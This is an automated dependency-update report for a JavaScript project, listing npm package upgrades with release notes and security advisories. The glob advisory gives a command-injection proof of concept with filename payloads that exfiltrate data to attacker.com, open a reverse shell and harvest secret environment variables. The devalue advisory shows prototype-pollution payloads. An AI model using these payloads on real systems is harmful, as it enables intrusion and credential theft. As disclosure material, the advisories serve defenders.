See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​vue/shared (indirect, 3.5.17 → 3.5.25) · Repo · Changelog

Release Notes

3.5.25

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.24

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.23

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.22

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.21

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.20

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.19

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

3.5.18

For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of the minor branch.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ ansi-regex (indirect, 6.1.0 → 6.2.2) · Repo

Release Notes

6.2.2

6.2.0

  • Support colon separated parameters to control sequences (#62) df7d75f

v6.1.0...v6.2.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 6 commits:

↗️ ansi-styles (indirect, 6.2.1 → 6.2.3) · Repo

Release Notes

6.2.3

v6.2.1...v6.2.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ autoprefixer (indirect, 10.4.21 → 10.4.23) · Repo · Changelog

Release Notes

10.4.23

10.4.22

  • Fixed stretch prefixes on new Can I Use database.
  • Updated fraction.js.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

↗️ b4a (indirect, 1.6.7 → 1.7.3) · Repo

Commits

See the full diff on Github. The new version differs by 13 commits:

↗️ bare-events (indirect, 2.5.4 → 2.8.2) · Repo

Commits

See the full diff on Github. The new version differs by 19 commits:

↗️ browserslist (indirect, 4.25.3 → 4.28.1) · Repo · Changelog

Release Notes

4.28.1

  • Removed Baseline warning since we have it own warning.

4.27.0

  • Added BROWSERSLIST_TRACE_WARNING environment variable.

4.26.3

4.26.2

  • Fixed baseline-browser-mapping version requirement.

4.26.0

4.25.4

  • Fixed Windows support for custom stats (by @torgeilo).

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ caniuse-lite (indirect, 1.0.30001737 → 1.0.30001760) · Repo · Changelog

↗️ copy-anything (indirect, 3.0.5 → 4.0.5) · Repo

Release Notes

4.0.5

  • feat: slightly improve types 8fc6fd5

the possible keys you can pass to copy(myObj, { props: ['someKey'] }) are now typed to be keyof typeof myObj

v4.0.4...v4.0.5

4.0.3

  • chore: update dependencies 5d89a5c

v4.0.2...v4.0.3

4.0.2

  • chore: update dependencies 530e209

v4.0.1...v4.0.2

4.0.0

v3.0.5...v4.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 14 commits:

↗️ css-declaration-sorter (indirect, 7.2.0 → 7.3.0) · Repo · Changelog

Release Notes

7.3.0 (from changelog)

Added

  • New sorting order: Frakto, thanks to @danybranding!
  • New CSS properties related to: animation & scroll timeline, text trim & wrapping.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 21 commits:

↗️ cssnano (indirect, 7.1.0 → 7.1.2) · Repo · Changelog

Release Notes

7.1.2 (from changelog)

Patch Changes

  • Updated dependencies
    • cssnano-preset-default@7.0.10

7.1.1 (from changelog)

Patch Changes

  • fix: do not strip % sign inside linear()
  • Updated dependencies
    • cssnano-preset-default@7.0.9

Does any of this look wrong? Please let us know.

↗️ cssnano-preset-default (indirect, 7.0.8 → 7.0.10) · Repo · Changelog

Release Notes

7.0.10 (from changelog)

Patch Changes

  • 72dd9c9: fix: update browserslist
  • db8e1ee: fix: update browserslist
  • Updated dependencies [f31273c]
  • Updated dependencies [72dd9c9]
  • Updated dependencies [db8e1ee]
    • postcss-discard-comments@7.0.5
    • postcss-normalize-unicode@7.0.5
    • postcss-convert-values@7.0.8
    • postcss-reduce-initial@7.0.5
    • postcss-minify-params@7.0.5
    • postcss-merge-rules@7.0.7
    • postcss-colormin@7.0.5

7.0.9 (from changelog)

Patch Changes

  • fix: do not strip % sign inside linear()
  • Updated dependencies
    • postcss-convert-values@7.0.7

Does any of this look wrong? Please let us know.

↗️ csstype (indirect, 3.1.3 → 3.2.3) · Repo

Commits

See the full diff on Github. The new version differs by 18 commits:

↗️ debug (indirect, 4.4.1 → 4.4.3) · Repo · Changelog

Security Advisories 🚨

🚨 debug@4.4.2 contains malware after npm account takeover

Impact

On 8 September 2025, the npm publishing account for debug was taken over after a phishing attack. Version 4.4.2 was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.

Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct <script> inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.

The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.

Patches

npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.

On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.

Users should upgrade to the latest patch version, completely remove their node_modules directory, clean their package manager's global cache, and rebuild any browser bundles from scratch.

Those operating private registries or registry mirrors should purge the offending versions from any caches.

References

Point of Contact

In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:

Release Notes

4.4.3

Functionally identical release to 4.4.1.

Version 4.4.2 is compromised. Please see #1005.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 1 commit:

↗️ detect-libc (indirect, 2.0.4 → 2.1.2) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by 11 commits:

↗️ devalue (indirect, 5.1.1 → 5.6.1) · Repo · Changelog

Security Advisories 🚨

🚨 devalue prototype pollution vulnerability

1. devalue.parse allows __proto__ to be set

A string passed to devalue.parse could represent an object with a __proto__ property, which would assign a prototype to an object while allowing properties to be overwritten:

class Vector {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }

  get magnitude() {
    return (this.x ** 2 + this.y ** 2) ** 0.5;
  }
}

const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;

const vector = devalue.parse(payload, {
  Vector: ([x, y]) => new Vector(x, y)
});

console.log("Is vector", vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // "nope" instead of 5

2. devalue.parse allows array prototype methods to be assigned to object

In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the 'hydrated' values:

devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]

devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:

const object = devalue.parse('[{"toString":"push"}]');
object.toString(); // 0

This could be used by a creative attacker to bypass server-side validation.

Release Notes

5.6.1

Patch Changes

  • 2161d44: fix: add hasOwn check before calling reviver

5.6.0

Minor Changes

  • a3d09d4: feat: expose DevalueError for instanceof checks in catch clauses
  • a3d09d4: feat: add value and root properties in DevalueError instances

5.5.0

Minor Changes

  • 828fa1c: Enable support for custom reducer/reviver for "function" values

5.4.2

Patch Changes

  • 5c26c0d: fix: allow custom revivers to revive things serialized by builtin reducers

5.4.1

Patch Changes

  • ca3c7b6: chore: Remove impossible void type from replacer's uneval

5.4.0

Minor Changes

  • 9306d09: feat: pass uneval to replacer, for handling nested custom types

Patch Changes

  • b617c7c: perf: shrink uneval output with null-proto objects

5.3.2

Patch Changes

  • 0623a47: fix: disallow array method access when parsing
  • 0623a47: fix: disallow __proto__ properties on objects

5.3.1

Patch Changes

  • ae904c5: fix: correctly differentiate between +0 and -0

5.3.0

Minor Changes

  • 2896e7b: feat: support Temporal
  • fec694d: feat: support URL and URLSearchParams objects

5.2.0 (from changelog)

  • Handle custom classes with null proto as pojo (#95)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 43 commits:

↗️ dot-prop (indirect, 9.0.0 → 10.1.0) · Repo

Release Notes

10.1.0

v10.0.0...v10.1.0

10.0.0

Breaking

Improvements

  • Add support for dot notation array indices 14e9f81
  • Add unflatten to expand dot path into nested objects 5e9ea47
  • TypeScript: Use unknown instead of undefined for uncertain return types 60fccd6

v9.0.0...v10.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

↗️ electron-to-chromium (indirect, 1.5.208 → 1.5.267) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ eslint (indirect, 9.33.0 → 9.39.2) · Repo · Changelog

Release Notes

9.39.2

Bug Fixes

  • 5705833 fix: warn when eslint-env configuration comments are found (#20381) (sethamus)

Build Related

  • 506f154 build: add .scss files entry to knip (#20391) (Milos Djermanovic)

Chores

  • 7ca0af7 chore: upgrade to @eslint/js@9.39.2 (#20394) (Francesco Trotta)
  • c43ce24 chore: package.json update for @eslint/js release (Jenkins)
  • 4c9858e ci: add v9.x-dev branch (#20382) (Milos Djermanovic)

9.39.1

Bug Fixes

  • 650753e fix: Only pass node to JS lang visitor methods (#20283) (Nicholas C. Zakas)

Documentation

  • 51b51f4 docs: add a section on when to use extends vs cascading (#20268) (Tanuj Kanti)
  • b44d426 docs: Update README (GitHub Actions Bot)

Chores

  • 92db329 chore: update @eslint/js version to 9.39.1 (#20284) (Francesco Trotta)
  • c7ebefc chore: package.json update for @eslint/js release (Jenkins)
  • 61778f6 chore: update eslint-config-eslint dependency @eslint/js to ^9.39.0 (#20275) (renovate[bot])
  • d9ca2fc ci: Add rangeStrategy to eslint group in renovate config (#20266) (唯然)
  • 009e507 test: fix version tests for ESLint v10 (#20274) (Milos Djermanovic)

9.39.0

Features

  • cc57d87 feat: update error loc to key in no-dupe-class-members (#20259) (Tanuj Kanti)
  • 126552f feat: update error location in for-direction and no-dupe-args (#20258) (Tanuj Kanti)
  • 167d097 feat: update complexity rule to highlight only static block header (#20245) (jaymarvelz)

Bug Fixes

  • 15f5c7c fix: forward traversal step.args to visitors (#20253) (jaymarvelz)
  • 5a1a534 fix: allow JSDoc comments in object-shorthand rule (#20167) (Nitin Kumar)
  • e86b813 fix: Use more types from @eslint/core (#20257) (Nicholas C. Zakas)
  • 927272d fix: correct Scope typings (#20198) (jaymarvelz)
  • 37f76d9 fix: use AST.Program type for Program node (#20244) (Francesco Trotta)
  • ae07f0b fix: unify timing report for concurrent linting (#20188) (jaymarvelz)
  • b165d47 fix: correct Rule typings (#20199) (jaymarvelz)
  • fb97cda fix: improve error message for missing fix function in suggestions (#20218) (jaymarvelz)

Documentation

  • d3e81e3 docs: Always recommend to include a files property (#20158) (Percy Ma)
  • 0f0385f docs: use consistent naming recommendation (#20250) (Alex M. Spieslechner)
  • a3b1456 docs: Update README (GitHub Actions Bot)
  • cf5f2dd docs: fix correct tag of no-useless-constructor (#20255) (Tanuj Kanti)
  • 10b995c docs: add TS options and examples for nofunc in no-use-before-define (#20249) (Tanuj Kanti)
  • 2584187 docs: remove repetitive word in comment (#20242) (reddaisyy)
  • 637216b docs: update CLI flags migration instructions (#20238) (jaymarvelz)
  • e7cda3b docs: Update README (GitHub Actions Bot)
  • 7b9446f docs: handle empty flags sections on the feature flags page (#20222) (sethamus)

Chores

  • dfe3c1b chore: update @eslint/js version to 9.39.0 (#20270) (Francesco Trotta)
  • 2375a6d chore: package.json update for @eslint/js release (Jenkins)
  • a1f4e52 chore: update @eslint dependencies (#20265) (Francesco Trotta)
  • c7d3229 chore: update dependency @eslint/core to ^0.17.0 (#20256) (renovate[bot])
  • 27549bc chore: update fuzz testing to not error if code sample minimizer fails (#20252) (Milos Djermanovic)
  • a1370ee ci: bump actions/setup-node from 5 to 6 (#20230) (dependabot[bot])
  • 9e7fad4 chore: add script to auto-generate eslint:recommended configuration (#20208) (唯然)

9.38.0

Features

  • ce40f74 feat: update complexity rule to only highlight function header (#20048) (Atul Nair)
  • e37e590 feat: correct no-loss-of-precision false positives with e notation (#20187) (Francesco Trotta)

Bug Fixes

  • 50c3dfd fix: improve type support for isolated dependencies in pnpm (#20201) (Francesco Trotta)
  • a1f06a3 fix: correct SourceCode typings (#20114) (Pixel998)

Documentation

  • 462675a docs: improve web accessibility by hiding non-semantic character (#20205) (루밀LuMir)
  • c070e65 docs: correct formatting in no-irregular-whitespace rule documentation (#20203) (루밀LuMir)
  • b39e71a docs: Update README (GitHub Actions Bot)
  • cd39983 docs: move custom-formatters type descriptions to nodejs-api (#20190) (Percy Ma)

Chores

  • d17c795 chore: upgrade @eslint/js@9.38.0 (#20221) (Milos Djermanovic)
  • 25d0e33 chore: package.json update for @eslint/js release (Jenkins)
  • c82b5ef refactor: Use types from @eslint/core (#20168) (Nicholas C. Zakas)
  • ff31609 ci: add Node.js 25 to ci.yml (#20220) (루밀LuMir)
  • 004577e ci: bump github/codeql-action from 3 to 4 (#20211) (dependabot[bot])
  • eac71fb test: remove use of nodejsScope option of eslint-scope from tests (#20206) (Milos Djermanovic)
  • 4168a18 chore: fix typo in legacy-eslint.js (#20202) (Sweta Tanwar)
  • 205dbd2 chore: fix typos (#20200) (ntnyq)
  • dbb200e chore: use team member's username when name is not available in data (#20194) (Milos Djermanovic)
  • 8962089 chore: mark deprecated rules as available until v11.0.0 (#20184) (Pixel998)

9.37.0

Features

  • 39f7fb4 feat: preserve-caught-error should recognize all static "cause" keys (#20163) (Pixel998)
  • f81eabc feat: support TS syntax in no-restricted-imports (#19562) (Nitin Kumar)

Bug Fixes

  • a129cce fix: correct no-loss-of-precision false positives for leading zeros (#20164) (Francesco Trotta)
  • 09e04fc fix: add missing AST token types (#20172) (Pixel998)
  • 861c6da fix: correct ESLint typings (#20122) (Pixel998)

Documentation

  • b950359 docs: fix typos across the docs (#20182) (루밀LuMir)
  • 42498a2 docs: improve ToC accessibility by hiding non-semantic character (#20181) (Percy Ma)
  • 29ea092 docs: Update README (GitHub Actions Bot)
  • 5c97a04 docs: show availableUntil in deprecated rule banner (#20170) (Pixel998)
  • 90a71bf docs: update README files to add badge and instructions (#20115) (루밀LuMir)
  • 1603ae1 docs: update references from master to main (#20153) (루밀LuMir)

Chores

  • afe8a13 chore: update @eslint/js dependency to version 9.37.0 (#20183) (Francesco Trotta)
  • abee4ca chore: package.json update for @eslint/js release (Jenkins)
  • fc9381f chore: fix typos in comments (#20175) (overlookmotel)
  • e1574a2 chore: unpin jiti (#20173) (renovate[bot])
  • e1ac05e refactor: mark ESLint.findConfigFile() as async, add missing docs (#20157) (Pixel998)
  • 347906d chore: update eslint (#20149) (renovate[bot])
  • 0cb5897 test: remove tmp dir created for circular fixes in multithread mode test (#20146) (Milos Djermanovic)
  • bb99566 ci: pin jiti to version 2.5.1 (#20151) (Pixel998)
  • 177f669 perf: improve worker count calculation for "auto" concurrency (#20067) (Francesco Trotta)
  • 448b57b chore: Mark deprecated formatting rules as available until v11.0.0 (#20144) (Milos Djermanovic)

9.36.0

Features

  • 47afcf6 feat: correct preserve-caught-error edge cases (#20109) (Francesco Trotta)

Bug Fixes

  • 75b74d8 fix: add missing rule option types (#20127) (ntnyq)
  • 1c0d850 fix: update eslint-all.js to use Object.freeze for rules object (#20116) (루밀LuMir)
  • 7d61b7f fix: add missing scope types to Scope.type (#20110) (Pixel998)
  • 7a670c3 fix: correct rule option typings in rules.d.ts (#20084) (Pixel998)

Documentation

  • b73ab12 docs: update examples to use defineConfig (#20131) (sethamus)
  • 31d9392 docs: fix typos (#20118) (Pixel998)
  • c7f861b docs: Update README (GitHub Actions Bot)
  • 6b0c08b docs: Update README (GitHub Actions Bot)
  • 91f97c5 docs: Update README (GitHub Actions Bot)

Chores

  • 12411e8 chore: upgrade @eslint/js@9.36.0 (#20139) (Milos Djermanovic)
  • 488cba6 chore: package.json update for @eslint/js release (Jenkins)
  • bac82a2 ci: simplify renovate configuration (#19907) (唯然)
  • c00bb37 ci: bump actions/labeler from 5 to 6 (#20090) (dependabot[bot])
  • fee751d refactor: use defaultOptions in rules (#20121) (Pixel998)
  • 1ace67d chore: update example to use defineConfig (#20111) (루밀LuMir)
  • 4821963 test: add missing loc information to error objects in rule tests (#20112) (루밀LuMir)
  • b42c42e chore: disallow use of deprecated type property in core rule tests (#20094) (Milos Djermanovic)
  • 7bb498d test: remove deprecated type property from core rule tests (#20093) (Pixel998)
  • e10cf2a ci: bump actions/setup-node from 4 to 5 (#20089) (dependabot[bot])
  • 5cb0ce4 refactor: use meta.defaultOptions in preserve-caught-error (#20080) (Pixel998)
  • f9f7cb5 chore: package.json update for eslint-config-eslint release (Jenkins)
  • 81764b2 chore: update eslint peer dependency in eslint-config-eslint (#20079) (Milos Djermanovic)

9.35.0

Features

  • 42761fa feat: implement suggestions for no-empty-function (#20057) (jaymarvelz)
  • 102f444 feat: implement suggestions for no-empty-static-block (#20056) (jaymarvelz)
  • e51ffff feat: add preserve-caught-error rule (#19913) (Amnish Singh Arora)

Bug Fixes

  • 10e7ae2 fix: update uncloneable options error message (#20059) (soda-sorcery)
  • bfa4601 fix: ignore empty switch statements with comments in no-empty rule (#20045) (jaymarvelz)
  • dfd11de fix: add before and after to test case types (#20049) (Francesco Trotta)
  • dabbe95 fix: correct types for no-restricted-imports rule (#20034) (Milos Djermanovic)
  • ea789c7 fix: no-loss-of-precision false positive with uppercase exponent (#20032) (sethamus)

Documentation

  • d265515 docs: improve phrasing - "if" → "even if" from getting-started section (#20074) (jjangga0214)
  • a355a0e docs: invert comparison logic for example in no-var doc page (#20064) (OTonGitHub)
  • 5082fc2 docs: Update README (GitHub Actions Bot)
  • 99cfd7e docs: add missing "the" in rule deprecation docs (#20050) (Josh Goldberg ✨)
  • 6ad8973 docs: update --no-ignore and --ignore-pattern documentation (#20036) (Francesco Trotta)
  • 8033b19 docs: add documentation for --no-config-lookup (#20033) (Francesco Trotta)

Chores

  • da87f2f chore: upgrade @eslint/js@9.35.0 (#20077) (Milos Djermanovic)
  • af2a087 chore: package.json update for @eslint/js release (Jenkins)
  • 7055764 test: remove tests/lib/eslint/eslint.config.js (#20065) (Milos Djermanovic)
  • 84ffb96 chore: update @eslint-community/eslint-utils (#20069) (Francesco Trotta)
  • d5ef939 refactor: remove deprecated context.parserOptions usage across rules (#20060) (sethamus)
  • 1b3881d chore: remove redundant word (#20058) (pxwanglu)

9.34.0

Features

  • 0bb777a feat: multithread linting (#19794) (Francesco Trotta)
  • 43a5f9e feat: add eslint-plugin-regexp to eslint-config-eslint base config (#19951) (Pixel998)

Bug Fixes

  • 9b89903 fix: default value of accessor-pairs option in rule.d.ts file (#20024) (Tanuj Kanti)
  • 6c07420 fix: fix spurious failure in neostandard integration test (#20023) (Kirk Waiblinger)
  • 676f4ac fix: allow scientific notation with trailing zeros matching exponent (#20002) (Sweta Tanwar)

Documentation

  • 0b4a590 docs: make rulesdir deprecation clearer (#20018) (Domenico Gemoli)
  • 327c672 docs: Update README (GitHub Actions Bot)
  • bf26229 docs: Fix typo in core-concepts/index.md (#20009) (Tobias Hernstig)
  • 2309327 docs: fix typo in the "Configuring Rules" section (#20001) (ghazi-git)
  • 2b87e21 docs: [no-else-return] clarify sample code. (#19991) (Yuki Takada (Yukinosuke Takada))
  • c36570c docs: Update README (GitHub Actions Bot)

Chores

  • f19ad94 chore: upgrade to @eslint/js@9.34.0 (#20030) (Francesco Trotta)
  • b48fa20 chore: package.json update for @eslint/js release (Jenkins)
  • 4bce8a2 chore: package.json update for eslint-config-eslint release (Jenkins)
  • 0c9999c refactor: prefer default options in grouped-accessor-pairs (#20028) (루밀LuMir)
  • d503f19 ci: fix stale.yml (#20010) (루밀LuMir)
  • e2dc67d ci: centralize stale.yml (#19994) (루밀LuMir)
  • 7093cb8 ci: bump actions/checkout from 4 to 5 (#20005) (dependabot[bot])

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ fdir (indirect, 6.4.4 → 6.5.0) · Repo

Release Notes

6.5.0

This release brings a lot of cool stuff:

ESM support

fdir now includes esm builds in addition to the commonjs build.

Thanks to @TheAlexLichter in #147

Node v12 support (is back!)

fdir v6.4.6 broke Node v12 & v14 compatibility as it made use of AbortController. We have now replaced AbortController with an in-house solution that should bring back support for Node v12.

Additionally, fdir now has the engines field set to >=12 to make it super clear what versions of Node we support.

Thanks to @SuperchupuDev & @benmccann for bringing this up and helping me test this!

Custom FS

Huge thanks to @43081j for adding support for this. You can now pass a custom FS module and fdir will make use of it instead of the Node.js fs module.

You can use it like so:

    const api = new fdir({
      fs: fakeFs,
    }).crawl("node_modules");

The fs property expects the following methods:

export type FSLike = {
  readdir: typeof nativeFs.readdir;
  readdirSync: typeof nativeFs.readdirSync;
  realpath: typeof nativeFs.realpath;
  realpathSync: typeof nativeFs.realpathSync;
  stat: typeof nativeFs.stat;
  statSync: typeof nativeFs.statSync;
};

Other changes

New Contributors

Full Changelog: v6.4.6...v6.5.0

6.4.6

What's Changed

Full Changelog: v6.4.5...v6.4.6

6.4.5

What's Changed

  1. Ensure callback is called only once by @thecodrr in #144

Full Changelog: v6.4.4...v6.4.5

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 17 commits:

↗️ fraction.js (indirect, 4.3.7 → 5.3.4) · Repo · Changelog

↗️ get-port-please (indirect, 3.1.2 → 3.2.0) · Repo · Changelog

Release Notes

3.2.0

compare changes

🚀 Enhancements

  • Add unix domain socket utils (#110)

🩹 Fixes

  • validateHostname: Add 169.254.0.0/16 range to not allowed hostnames (#101)

✅ Tests

  • Mock console.log implementation in error tests (#104)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 21 commits:

↗️ glob (indirect, 10.4.5 → 10.5.0) · Repo · Changelog

Security Advisories 🚨

🚨 glob CLI: Command injection via -c/--cmd executes matches with shell:true

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ globby (indirect, 14.1.0 → 15.0.0) · Repo

Release Notes

15.0.0

Breaking

Fixes

  • Fix expandDirectories not working with globstar patterns 98d691a
  • Fix relative paths with gitignore option b4d78d8
  • Fix gitignore patterns in subdirectories not applying recursively 2cb6088
  • Fix TypeScript types for globbyStream to correctly yield strings 1c7f3ed

v14.1.0...v15.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

↗️ h3 (indirect, 1.15.3 → 1.15.4) · Repo · Changelog

Release Notes

1.15.4

compare changes

🩹 Fixes

  • getRequestHost: Return first host from x-forwarded-host (#1175)

💅 Refactors

  • useSession: Backport SessionManager interface to fix types (#1058)

🏡 Chore

  • docs: Fix typos (#1108)

❤️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ http-errors (indirect, 2.0.0 → 2.0.1) · Repo · Changelog

Release Notes

2.0.1

What's Changed

  • Add support for OSSF scorecard reporting by @carpasse in #107
  • refactor: improve toClassName function readability and JSDoc completeness by @Ayoub-Mabrouk in #112
  • chore: upgrade scorecard workflow pinned action versions by @carpasse in #113
  • Add test for extending native errors w/o altering prototype by @jonchurch in #106
  • remove --bail from test script by @jonchurch in #114
  • [StepSecurity] Apply security best practices by @step-security-bot in #116
  • build(deps): bump actions/checkout from 2.7.0 to 4.2.2 by @dependabot[bot] in #117
  • build(deps): bump ossf/scorecard-action from 2.4.0 to 2.4.2 by @dependabot[bot] in #118
  • build(deps): bump coverallsapp/github-action from 1.2.5 to 2.3.6 by @dependabot[bot] in #119
  • build(deps): bump actions/upload-artifact from 4.5.0 to 4.6.2 by @dependabot[bot] in #121
  • build(deps): bump github/codeql-action from 3.27.9 to 3.28.18 by @dependabot[bot] in #123
  • fix: use ubuntu-latest as ci runner by @UlisesGascon in #124
  • remove --bail by @jonchurch in #125
  • deps: update statuses and switch fixed versions to tilde (~) by @Phillip9587 in #126
  • chore: add funding to package.json by @Phillip9587 in #130
  • build(deps): bump github/codeql-action from 3.28.18 to 3.29.5 by @dependabot[bot] in #131
  • ci: add nodejs v18 - v24 to test matrix by @Phillip9587 in #127
  • build(deps-dev): bump eslint-plugin-import from 2.25.3 to 2.32.0 by @dependabot[bot] in #129
  • build(deps): bump github/codeql-action from 3.29.7 to 3.29.11 by @dependabot[bot] in #133
  • build(deps): bump actions/checkout from 4.2.2 to 5.0.0 by @dependabot[bot] in #132
  • build(deps): bump actions/upload-artifact from 4.6.2 to 5.0.0 by @dependabot[bot] in #138
  • build(deps): bump github/codeql-action from 3.29.11 to 4.31.2 by @dependabot[bot] in #137
  • build(deps): bump ossf/scorecard-action from 2.4.2 to 2.4.3 by @dependabot[bot] in #134
  • Release: 2.0.1 by @UlisesGascon in #140

New Contributors

Full Changelog: v2.0.0...v2.0.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 27 commits:

↗️ ioredis (indirect, 5.6.1 → 5.8.2) · Repo · Changelog

Release Notes

5.8.2

5.8.2 (2025-10-21)

Bug Fixes

5.8.1

5.8.1 (2025-10-06)

Bug Fixes

  • ssubscribe: re-subscribe sharded pubsub channels individually (#2021) (f161367)

5.8.0

5.8.0 (2025-09-23)

Bug Fixes

  • ssubscribe: re-subscribe sharded pubsub channels individually on ready (#2012) (55a410f)

Features

5.7.0

5.7.0 (2025-07-31)

Bug Fixes

Features

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 23 commits:

